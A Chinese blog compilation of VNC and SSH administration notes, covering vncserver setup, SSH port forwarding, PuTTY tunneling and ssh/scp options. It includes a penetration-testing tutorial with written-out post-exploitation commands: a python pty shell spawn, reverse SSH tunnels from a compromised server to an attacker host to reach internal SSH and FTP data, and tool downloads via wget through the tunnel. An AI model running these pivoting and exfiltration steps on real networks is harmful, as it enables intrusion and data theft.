VNC+SSH相关应用,典型相关分析及其应用


 

 

ssh命令了,主要是用-i指定私钥,-p指定端口,命令如下:
ssh -i ~/.ssh/liyddsshkey developer@192.168.1.237 -p 23 

 

1.安装vnc-server  vncviewer
2.执行vncserver  输入密码
3.执行vncserver -kill :1 杀死1号屏幕
4.修改/root/.vnc/xstartup
   unset SESSION_MANAGER
   exec /etc/X11/xinit/xinitrc
  去掉以上两行的注释
 或者:
/root/.vnc/xstartup,在最后一行会看到twm &,(不能去掉&)如果要运行KDE则将twm改成
startkde
Gnome则改成
gnome-session

5.x0vncserver PasswordFile=/root/.vnc/passwd
  此命令意思是将本地桌面共享出去,且为:0
6.在客户端运行如下命令即可连接
  vncviewer --shared --viewonly 192.168.5.66:0
  --shared 无此参数则一个桌面只能连一个客户端
  --viewonly 否则客户端可操作服务端系统
7.chkconfig vncserver on
8.ehco "vncserver :1" >>/etc/rc.local
  这样就可每次启动时自动激活:1

以SSH连接远端机器:
   vncviewer -via user@192.168.5.66 localhost:1
或 vncviewer -via user@192.168.5.66 localhost::5091

以转发端口的形式连接远端机器:
              (本地端口,可任意)    (远程端口)
ssh -L (localhost:)5901:localhost:5091 user@192.168.5.66输入密码
然后在另一终端输入 vncviewer localhost:1  或 vncviewer localhost:5091

#配置文件 
#vi /etc/sysconfig/vncservers          
--添加以下几行,保存并退出,前提:存在3个用户:root, oracle, rrosen 
VNCSERVERS="1:root 2:lym 3:oracle" 
VNCSERVERARGS[1]="-geometry 1024x768 -alwaysshared -depth 24" 
VNCSERVERARGS[2]="-geometry 1024x768 -alwaysshared -depth 24" 
VNCSERVERARGS[3]="-geometry 1024x768 -alwaysshared -depth 24" 

# 其中,参数alwaysshared设 置为同时可有多个用户访问服务端, 
# 这样,就不担心你登录到服务端后被其他用户挤下来(且在vncviewer端不用再设置“共享连接”) 
# 当然,若要安全起见,这个参数也可以不要。 
--保存退出,然后重新启动vncserver 

-------------------------------------------------------------------------
vncviewer 192.168.5.67:1 --passwd=/root/.vnc/host67pswd 
此host67pswd为vncserver上的密码文件,是COPY过来的,这样每次想登录是,可以免去输入密码的过程
(创建一个启动器)

_____________________________________________________________________

以下部分来自网络:(出处不祥)

_______________________________________________________________________

linux端口映射

   ssh -C -g root@127.0.0.1 -L 5000:61.235.139.123:5000
输入机器的root密码 
后台执行:ssh -C -f -N -g root@127.0.0.1 -L 5000:61.235.139.123:5000
另:
ssh -C -f -N -g -R remote_port:local:port user@remotehost
可 以将远端服务器一个端口remote_port绑定到本地端口port,其中-C是进行数据压缩,-f是后台操作,只有当提示用户名密码的时候才转向前 台。-N是不执行远端命令,在只是端口转发时这条命令很有用处。-g 是允许远端主机连接本地转发端口。-R表明是将远端主机端口映射到本地端口。如果是-L,则是将本地端口映射到远端主机端口。


关于ssh端口转发的深入实例
http://floss.zoomquiet.org/data/20070104103806/
ssh的三个强大的端口转发命令:

ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host



----------------------------------------------------------------------------

author: ring04h[EST]

在渗透测试过程中,经常遇到如下情形,内部网络主机通过路由器或者安全设备做了访问控制,无法通过互联网直接访问本地开放的服务,Windows方 面,国内通常选择Lcx.exe来进行端口转发,在应用方面大多数人也会选择reDuh来进行端口转发,而*nix却很少人用系统自带的ssh、 iptables自身来处理此类问题。
由于时间有限,本文只详细的介绍ssh tunnel方面的知识,iptables的有空在加上。

SSH的三个端口转发命令:
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host

-f Fork into background after authentication.
后台认证用户/密码,通常和-N连用,不用登录到远程主机。

-p port Connect to this port. Server must be on the same port.
被登录的ssd服务器的sshd服务端口。

-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport

-D port
指定一个本地机器 “动态的'’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS4 协议, 将充当 SOCKS4 服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.

-C Enable compression.
压缩数据传输。

-N Do not execute a shell or command.
不执行脚本或命令,通常与-f连用。

-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D参数中,允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接。注:这个参数我在实践中似乎始终不起作用)

如果想要了解更多关于SSH的细节,可以 man ssh ,或参照ssh的DOC.

实例:
------------------------------------------------------------------------------
当骇客A从互联网入侵了RISUN企业的一台服务器,机器名称为 GBOSS_WEB
GBOSS_WEB 信息:
外网IP:255.25.55.111
内网IP:10.168.0.10
网络架构方式为,路由将外网256.25.56.111的80端口映射到内网10.168.0.10的80端口上。

骇客A通过利用80端口开放服务的WEB脚本漏洞,成功继承到GBOSS_WEB的httpd权限,然后通过perl或者其它语言创建SOCKET 获得一个远程sh shell。由于back回来的shell可能不稳定,或者使用起来不方便,可以采用SSH建立一个隧道,将GBOSS_WEB服务器上的22端口映射至 骇客的本机上(本文章用于演示的骇客机为0x.cn);

通过得到的sh shell,执行 $python -c 'import pty; pty.spawn("/bin/sh")' 获得一个ttyshell(因为ssh想要tty的支持),然后通过如下命令,映射GBOSS_WEB服务器的22端口至202.65.208.142的 44端口;
$ssh -C -f -N -g -R 44:127.0.0.1:22 ring04h@202.65.208.142
这样登录0x.cn的ssh服务,ssh -p 44 127.0.0.1 等同于连接GBOSS_WEB的22端口。

骇客A通过利用操作系统系统提升权限至ROOT,再继续渗透过程中,发现内网还存在另外一台名称为GBOSS_APP的服务器。
GBOSS_APP 信息:
内网IP:10.168.0.20

骇客通过嗅探获取了GBOSS_APP服务器的FTP信息,GBOSS_APP服务器FTP保存有RISUN企业的核心数据,由于数据量庞大,需要FTP续传功能,可通过SSH映射GBOSS_APP的21端口至0x.cn的2121端口;
$ssh -C -f -N -g -R 2121:10.168.0.20:21 ring04h@202.65.208.142

当骇客成功root掉内网中另一网段中的服务器BILL_APP时,需要从外网下载一些工具,由于内部访问控制策略,BILL_APP无法连接网, 此时可以通过映射外网服务器0x.cn的80端口至GBOSS_WEB的8888端口,然后通过GBOSS_WEB建立的隧道,下载所需工具。
在GBOSS_WEB服务器上执行:
$ssh -C -f -N -g user@10.168.0.10 -L 8888:202.65.208.142:80

通过建立隧道后,在BILL_APP上执行 wget http://10.168.0.10:8888/thepl 等同于访问http://202.65.208.142/thepl

本文详细的概述了如何建立隧道的过程,以及相关参数的使用方法,各位懂的高手可以直接飘过。
本文中骇客所使用的地址为真实IP,对应域名:http://0x.cn 欢迎无聊的骇客们破坏。(SSH有个隐藏的密码,很容易的...)


这里有错误指正一下
如果没有拿到root的话应该是ssh -p 44 httpd@127.0.0.1 
你的ssh -p 44 127.0.0.1默认是以root连接的
除非你有root密码的说

楼上正解鸟

回复cnbird:
作者在前边已经说了已经通过服务器的漏洞得到了rootshell。
所以下边的也就成立了,只是做了端口映射将服务器的端口映射到本机上。


直接把lcx 或 NC 的C源码拿到目标机器上用GCC 编译下也是一种方法...

 

 

回复cnbird:这样登录0x.cn的ssh服务,ssh -p 44 127.0.0.1 等同于连接GBOSS_WEB的22端口楼主说得很清楚了,ssh -p 127.0.0.1等同于连接GBOSS_WEB的22端口连接的用户取决于你连0x.cn的用户,这些细节谁都了解,只是博主没写得那么细浪费文章篇幅 吧?


有几个人又装B了,博主明明说是通过漏洞获得httpd权限,然后才提权得到了root权限。



----------------------------------------------------------------
#ssh -X user@host "commond" (这个可在本地打开远端的图形化界面)
或者:
#ssh -X user@host
#commond 

http://blog.chinaunix.net/uid-13377723-id-2895906.html

 

 

 

远程桌面设置:利用putty进行vnc + ssh tunneling

 

如果直接使用vncviewer来进行访问,有两点不利因素:  1. 口令传输是明文,很容易被侦听到.  2. 防火墙需要打开59xx端口,这在通常的单位里是不可能的.  幸运的是,我们有ssh这个强大的工具,象X11 Forwarding(另文论述),我们可以使用ssh隧道来保护通讯过程,下面就进行简单介绍.  假设vncserver运行在服务器 myserver (ip地址为:192.168.x.x)的屏幕1,也就是侦听 192.168.x.x:5901, 用户名为foo  情形一: vnc客户端为linux 这种情形很简单,一般的linux发行版本里面都默认安装了ssh套件.

 

1. 用ssh登录到服务器  ssh -L 5901:localhost:5901 -l foo myserver 或者直接用ip地址  ssh -L 5901:localhost:5901 -l foo 192.168.x.x

 

2. 在本机的另外开的终端上,运行vncviewer (或其它的类似工具)  vncviewer localhost:1  情形二: vnc客户端为windows

 

1. 下载一个ssh客户端,个人推荐putty,只有一个程序,不需要安装,简单而功能齐全. 到这里下载http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html 下载putty.exe到桌面上直接运行即可。

 

2. 运行putty,输入服务器的ip地址,输入一个名字,这里myserver作为session的名字,按save保存(见图一)。  3. 单击对话框左边的tunnels来选择相关设置,在source port里输入5901,在Destination里输入localhost:5901,按Add添加(见图二)。  4. 单击左边session,回到session设置,按save重新保存。按open即可登录到服务器。  5. 运行vnc-viewer (如果没有,到这里下载[url]http://www.realvnc.com/download.html[/url],只要一个exe的文件就行),在Server里输入localhost:1, 输入口令后一个linux的桌面就会出现在windows里,并且是非常安全的.

 

 

图1

 

图2

 

另请参阅:  远程桌面设置part1:VNCserver在Fedora上配置过程(转译)http://bbs.chinaunix.net/forum/viewtopic.php?t=368552&highlight=yunqing

 

 

SSH 的详细使用方法如下: 
ssh [-l login_name] [hostname | user@hostname] [command] ssh [-afgknqtvxCPX246] [-c blowfish | 3des] [-e escape_char] [-i identity_file] [-l login_name] [-o option] [-p port] [-L port:host:hostport] [-R port:host:hostport] [hostname | user@hostname] [command] 
sshd 
为执行 ssh 的 daemon,在读者使用 ssh 之前必须去激活 sshd,在此建议把它加在 /etc/init/rc.local 中,在每次开机时激活。 
在执行 sshd 之前可以指定它的 port,例如:sshd –p 999 
若有安装 SSL,可以指定 SSL 的 port 443,例如:sshd –p 443 
这样就可以经过 SSL 及 SSH 双重的保护,但必须去指明使用的 port 
ssh –l user –p 443 mouse.oit.edu.tw 才行,若不指明则仍然使用预设的port 22 
ssh 
选项: 
-l login_name 
指定登入于远程机器上的使用者,若没加这个选项,而直接打 ssh lost 也是可以的,它是以读者目前的使用者去做登入的动作。 例如: ssh –l shie mouse.oit.edu.tw 
-c blowfish|3des 
在期间内选择所加密的密码型式。预设是3des,3des(作三次的资料加密) 是用三种不同的密码键作三次的加密-解密-加密。 blowfish 是一个快速区块密码编制器,它比3des更安全以及更快速。 
-v 
Verbose 模式。使ssh 去印出关于行程的除错讯息,这在连接除错,认 证和设定的问题上有很的帮助。 
-V 
显示版本。 
-a 
关闭认证代理联机。 
-f 
要求ssh 在背景执行命令,假如ssh要询问密码或通行证,但是使用者 想要它在幕后执行就可以用这个方式,最好还是加上-l user 例如在远程场所上激活 X11,有点像是 ssh –f host xterm 。 
-e character 
设定跳脱字符。 
-g 
允许远程主机去连接本地指派的 ports。 
-i identity_file 
选择所读取的 RSA 认证识别的档案。预设是在使用者的家目录 中的 .ssh/identity 。 
-n 
重导 stdin 到 /dev/null (实际上是避免读取 stdin)。必须当 ssh 在幕后执 行时才使用。常见的招数是使用这选项在远程机器上去执行 X11 的程序 例如,ssh -n shadows.cs.hut.fi emacs &,将在 shadows.cs.hut.fi 上激活 emace,并且 X11 连接将自动地在加密的信道上发送。ssh 程序将把它放 在幕后。(假如ssh需要去询问密码时,这将不会动作) 
-p port 
连接远程机器上的 port。 
-P 
使用非特定的 port 去对外联机。如果读者的防火墙不淮许从特定的 port去联机时,就可以使用这个选项。注意这个选项会关掉 RhostsAuthentication 和 RhostsRSAAuthentication。 
-q 
安静模式。把所有的警告和讯息抑制,只有严重的错误才会被显示。 
-t 
强制配置 pseudo-tty。这可以在远程机器上去执行任意的 screen-based 程 式,例如操作 menu services。 
-C 
要求压缩所有资料(包含 stdin, stdout,stderr 和 X11 和 TCP/IP 连接) 压缩演算规则与 gzip 相同,但是压缩的等级不能控制。在调制解调器或 联机速度很慢的地方,压缩是个很好的选择,但如果读者的网络速路很 快的话,速度反而会慢下来。 
-L listen-port:host:port 
指派本地的 port 到达端机器地址上的 port。 
-R listen-port:host:port 
指派远程上的 port 到本地地址上的 port。 
-2 强制 ssh 去使用协议版本 2。 
-4 强制 ssh 去使用 IPv4 地址。 
-6 强制 ssh 去使用 IPv6 地址。 
scp 
使用 scp 在远程机器上 copy 档案 
例如: 
copy 本地的档案到远程的机器上 
scp /etc/lilo.conf k@net67.ee.oit.edu.tw:/home/k 
会将本地的 /etc/lilo.conf 这个档案 copy 到 net67.ee.oit.edu.tw,使用者 k 的家目录下。 
copy远程机器上的档案到本地来 
scp k@net67.ee.oit.edu.tw:/etc/lilo.conf /etc 
会将 net67.ee.oitdu.tw 中 /etc/lilo.conf 档案 copy 到本地的 /etc 目录下。 
保持从来源 host 档案的属性 
scp –p k@net67.ee.tw:/etc/lilo.conf /etc 
在此必须注意使用者的权限是否可读取远程上的档案,若想知道更多关于 scp 的使用方法,可去看看 scp 的使用手册。 
ssh-keygen 
产生公开钥 (pulib key) 和私人钥 (private key),以保障 ssh 联机的安性, 当 ssh 连 shd 服务器,会交换公开钥上,系统会检查 /etc/ssh_know_hosts 内储存的 key,如果找到客户端就用这个 key 产生一个随机产生的session key 传给服务器,两端都用这个 key 来继续完成 ssh 剩下来的阶段。 

它会产生 identity.pub、identity 两个档案,私人钥存放于identity,公开钥 存放于 identity.pub 中,接下来使用 scp 将 identity.pub copy 到远程机器的家目录下.ssh下的authorized_keys。 .ssh/authorized_keys(这个 authorized_keys 档案相当于协议的 rhosts 档案), 之后使用者能够不用密码去登入。RSA的认证绝对是比 rhosts 认证更来的安全可靠。 
执行: 
scp identity.pub k@linux1.ee.oit.edu.tw:.ssh/authorized_keys 

若在使用 ssh-keygen 产生钥匙对时没有输入密码,则如上所示不需输入密码即可从 net67.ee.oit.edu.tw 去登入 linux1.ee.oit.edu.tw。在此,这里输入的密码可以跟帐号的密码不同,也可以不输入密码。

相关内容